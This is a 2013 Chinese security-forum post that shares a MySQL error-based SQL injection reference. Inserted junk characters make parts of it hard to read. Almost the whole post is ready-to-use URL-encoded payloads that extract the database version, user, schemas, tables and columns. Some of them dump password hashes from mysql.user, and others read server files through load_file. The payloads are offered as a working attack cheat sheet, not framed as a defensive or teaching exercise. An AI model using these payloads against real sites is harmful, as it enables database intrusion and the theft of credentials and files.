找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2105|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
; b  G  E! n- p9 l5 [  R9 D8 @# s9 E- k' W" K" J, `

' \1 ]' j8 k( VMysql暴错注入参考(pdf),每天一贴。。。, l" h. W) b0 x2 M! h1 b" x

  s0 T0 }4 R8 V5 r/ yMySql Error Based Injection Reference
' J# [% C0 o. o[Mysql暴错注入参考]
& Q" d! |. G  [( l2 G! H9 X7 x+ }Authornig0s1992
$ A- @' q* K5 p0 z0 h; {0 CBlog:http://pnig0s1992.blog.51cto.com/
; b  ~$ S6 U! @( S" DTeAm:http://www.FreeBuf.com/. @+ F% n5 |, ~4 a" j
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
" P7 z$ t  p: c* B8 ?: v小部分版本使用name_const()时会报错.可以用给出的Method.2测试( N0 h, i7 T* }" e) E% x
查询版本:- T% q" D, q+ M) j2 p# l! u
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
8 ~  p1 b  T6 \; H8 X, b9 I+ m8 mjoin+(select+name_const(@@version,0))b)c)
# Q1 H* L5 o0 W, i$ hMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro; T- R4 g; n! h$ D, Q  Q# h2 j
up by a)b)2 {' b' Z* G+ v6 N/ z
查询当前用户:$ `7 j4 e- v/ R# d6 T" B9 q! f* B
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)  R% p7 s7 |. @4 x% m7 r& L+ R
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
( Q. |$ \% J$ xand(0)*2))x+from+information_schema.tables+group+by+x)a)
) E9 J8 D6 v* l# R: X6 ^5 ]2 v, b! p, J查询当前数据库:
, S  K4 G2 R0 S3 E) `8 o7 PMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)1 Q1 W) s* R1 x! ]- p+ v; f5 k
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
) v5 a2 X6 h8 k  H4 f3 aor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
+ J9 i; y% X# B, j4 Y; J9 L依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
8 m4 Z/ t& ~! eLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n5 o, r* {4 ~9 V! }
顺序替换
. ~% c. P: X( f爆指定库数目:& t, u; T% Y8 }0 _7 P, D
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t6 t- k) p! x1 Q( u
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group$ L" {0 ~- B* G, ~3 r- C+ M0 y' k
+by+x)a)+and+1=1 0x6D7973716C=mysql9 v8 |3 }$ |4 X8 W3 A3 S
依次爆表:( n3 d" o' F: x
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
/ O3 ~  w  t( l( f" o6 L/ \) x# c$ X% Oable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
  j6 D7 H! p% Z; B+ \bles+group+by+x)a)+and+1=1
8 ]: e; ]0 G; |3 V0x6D7973716C=Mysql 将n顺序替换0 o+ R* ?0 O. w6 E( }2 @+ T9 \' v
爆表内字段数目:
2 E( G6 ^: F; x6 @. {and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
- M$ j% T7 u8 ^4 h6 Y" ~5 A& B+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
( ^1 U& q. ~' _4 u& I! Y2 S0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1/ ~! K$ Y; I3 j( p- M6 Y2 h/ A" C
依次爆字段:
3 |! |' e" w; S; @2 \- W5 Oand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+ h- e$ c1 C0 Z+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1  ]+ V+ i2 F8 |9 L0 [8 q
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换7 I: d% N2 J' `6 T
依次暴内容:2 F6 y& t$ \3 J
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
& r4 N) ~2 N2 a0 J9 Kma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
. a5 z: h% U1 N5 K; t  Y/ @/ g将n顺序替换. g. A. k+ z" O) G
爆文件内容:
! j0 a2 V! u8 `9 ]; C9 K: N& oand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a  v2 e" k0 ~. b: R  _, M3 ~  A
from+information_schema.tables+group+by+a)b)
. V2 J1 F* H: e6 R" b9 N0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
. Z3 s/ I  W* n' DThx for reading.
2 O1 |% H5 ~3 l" z% U9 A5 }. d9 x$ B6 U$ |) r, P) B
不要下载也可以, $ Q# q% N% ~" P+ V0 F+ v

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表